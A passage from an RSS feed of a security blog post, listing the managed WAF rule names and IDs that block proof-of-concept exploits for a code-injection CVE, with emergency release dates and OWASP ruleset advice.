      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed Rule <b><i>Plone - Dangerous File Extension</i></b></p><ul><li><p>WAF rule ID: <code>aa3411d5505b4895b547d68950a28587</code></p></li><li><p>Legacy WAF ID: <code>PLONE0001</code></p></li></ul><p>We also deployed a new rule via an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-31-emergency-release/">emergency release on March 31</a> (today at time of writing) to cover additional variations attempting to exploit this vulnerability, which started blocking since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April, 2022</a></p><p>Managed Rule <b><i>Spring - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>d58ebf5351d843d3a39a4480f2cc4e84</code></p></li><li><p>Legacy WAF ID: <code>100524</code></p></li></ul><p>Additionally, customers can receive protection against this CVE by deploying the Cloudflare OWASP Core Ruleset with default or better settings on our new WAF. Customers using our legacy WAF will have to configure a high OWASP sensitivity level.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">5x1vBdk7Ot4xN3MXd1ShuK</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
        </item>
    </channel>
</rss>